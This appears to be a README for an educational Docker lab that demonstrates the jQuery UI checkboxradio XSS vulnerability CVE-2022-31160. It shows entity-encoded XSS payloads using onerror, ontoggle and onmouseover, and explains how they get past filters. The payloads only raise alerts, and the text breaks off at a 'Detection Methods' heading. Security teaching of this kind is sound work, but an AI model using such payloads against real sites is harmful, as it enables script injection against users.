jQuery UI CVE-2022-31160 Vulnerability Demonstration

This project demonstrates the jQuery UI Checkboxradio Widget Refresh Vulnerability (CVE-2022-31160), which allows HTML entity decoding during widget refresh operations, potentially leading to Cross-Site Scripting (XSS) attacks.

🚨 Security Warning

⚠️ This project contains working XSS payloads for educational and research purposes only.

• Do NOT use on production systems
• Only use in controlled environments
• Intended for security research and education

📋 Table of Contents

• Vulnerability Overview
• Quick Start
• Project Structure
• Demonstrations
• Technical Details
• Docker Usage
• Security Analysis
• Mitigation
• Contributing

🔍 Vulnerability Overview

CVE-2022-31160 Details

• Component: jQuery UI Checkboxradio Widget
• Affected Versions: jQuery UI ≤ 1.13.1
• Vulnerability Type: Cross-Site Scripting (XSS) via HTML Entity Decoding
• CVSS Score: 6.1 (Medium)
• First Published: July 20, 2022

Root Cause

When a checkboxradio widget is initialized on an input enclosed within a label, calling .checkboxradio("refresh") on the widget causes HTML entities in the label content to be erroneously decoded. This can convert safely encoded malicious content into executable JavaScript.

Attack Vector

<!-- Safe encoded content -->
<label for="checkbox">
  Text &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
  Text 
  <input type="checkbox" id="checkbox">
</label>

🚀 Quick Start

Prerequisites

• Docker installed on your system
• Web browser with developer tools
• Basic understanding of web security concepts

Build and Run

# Clone or navigate to the project directory
cd jquery-cve-2022-31160

# Build the Docker image
docker build -t jquery-cve-2022-31160 .

# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160

Access the Demonstrations

Once the container is running, access:

• Simplified Survey Demo: http://localhost:3000/survey
• Alternative Survey URL: http://localhost:3000/simplified-survey

📁 Project Structure

jquery-cve-2022-31160/
├── README.md                    # This documentation
├── Dockerfile                   # Docker container configuration
├── package.json                 # Node.js dependencies
├── server.js                    # Express.js server
└── simplified-survey.html       # Survey-style demonstration

🎯 Demonstrations

1. Simplified Survey Demo (simplified-survey.html)

URL: http://localhost:3000/survey

• Survey-style interface
• Multiple vulnerability scenarios
• Enhanced visual feedback

Features:

• 4 different checkbox options demonstrating various scenarios:
  • Safe Option: No encoded entities (control group)
  • Network Security XSS: <img src=x onerror="..."> - Immediate execution
  • Mobile Security XSS: <details ontoggle="..." open> - Immediate execution
  • Cloud Security XSS: <span onmouseover="..."> - Interactive execution

Analysis Tools:

• Detailed console logging
• XSS execution alerts
• Step-by-step vulnerability tracking

🔧 Technical Details

Vulnerability Mechanism

1. Widget Initialization: jQuery UI creates checkboxradio widget
2. HTML Entity Storage: Label content with encoded entities is processed
3. Refresh Trigger: .checkboxradio("refresh") is called
4. Entity Decoding: jQuery UI erroneously decodes HTML entities
5. XSS Execution: Decoded malicious content becomes executable

Affected Code Path

// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability

Test Payloads

The demonstrations include various payloads to test different XSS execution methods:

<!-- Network Security: Error event XSS (Immediate execution) -->
&lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;

<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
&lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Cloud Security: Interactive XSS (User interaction required) -->
&lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Hover to trigger]&lt;/span&gt;

XSS Execution Methods

1. Error Event Handler (onerror)

• Trigger: Immediate when element is inserted into DOM
• Reliability: Very high (always fails with src=x)
• Use Case: Demonstrates immediate XSS execution
• Real-World Risk: High - commonly bypasses input filters

2. Details Toggle Event Handler (ontoggle)

• Trigger: When details element open/close state changes
• Reliability: Very high (guaranteed trigger with open attribute)
• Use Case: Immediate execution on DOM insertion
• Real-World Risk: High - reliable cross-browser execution

3. Mouse Event Handler (onmouseover)

• Trigger: Requires user interaction (hover)
• Reliability: High when user interacts
• Use Case: Social engineering scenarios
• Real-World Risk: Medium - requires user engagement

Why These Payloads Work

Event Handler Advantages:

• Execute when element is inserted via innerHTML
• Bypass <script> tag restrictions
• Work across different browsers consistently
• Don't require external resources to load
• State-based triggers (like ontoggle) are highly reliable

Encoding Bypass:

• HTML entities (<, ") get decoded by jQuery UI refresh
• Transforms safe encoded content into executable code
• Demonstrates real-world sanitization bypass
• Multiple execution vectors show attack surface diversity

🐳 Docker Usage

Building the Image

docker build -t jquery-cve-2022-31160 .

Running the Container

# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160

# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160

# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

Container Management

# List running containers
docker ps

# Stop the container
docker stop jquery-cve-2022-31160

# Remove the container
docker rm jquery-cve-2022-31160

# Remove the image
docker rmi jquery-cve-2022-31160

🔬 Security Analysis

Impact Assessment

• Severity: Medium (CVSS 6.1)
• Attack Complexity: Low
• User Interaction: Required (page interaction)
• Scope: Unchanged (same-origin)
• Confidentiality: Low impact
• Integrity: Low impact
• Availability: None

Real-World Scenarios

This vulnerability can be exploited in applications that:

1. Use jQuery UI checkboxradio widgets
2. Allow user-generated content in labels
3. Sanitize content using HTML entity encoding
4. Programmatically refresh widgets

Detection Methods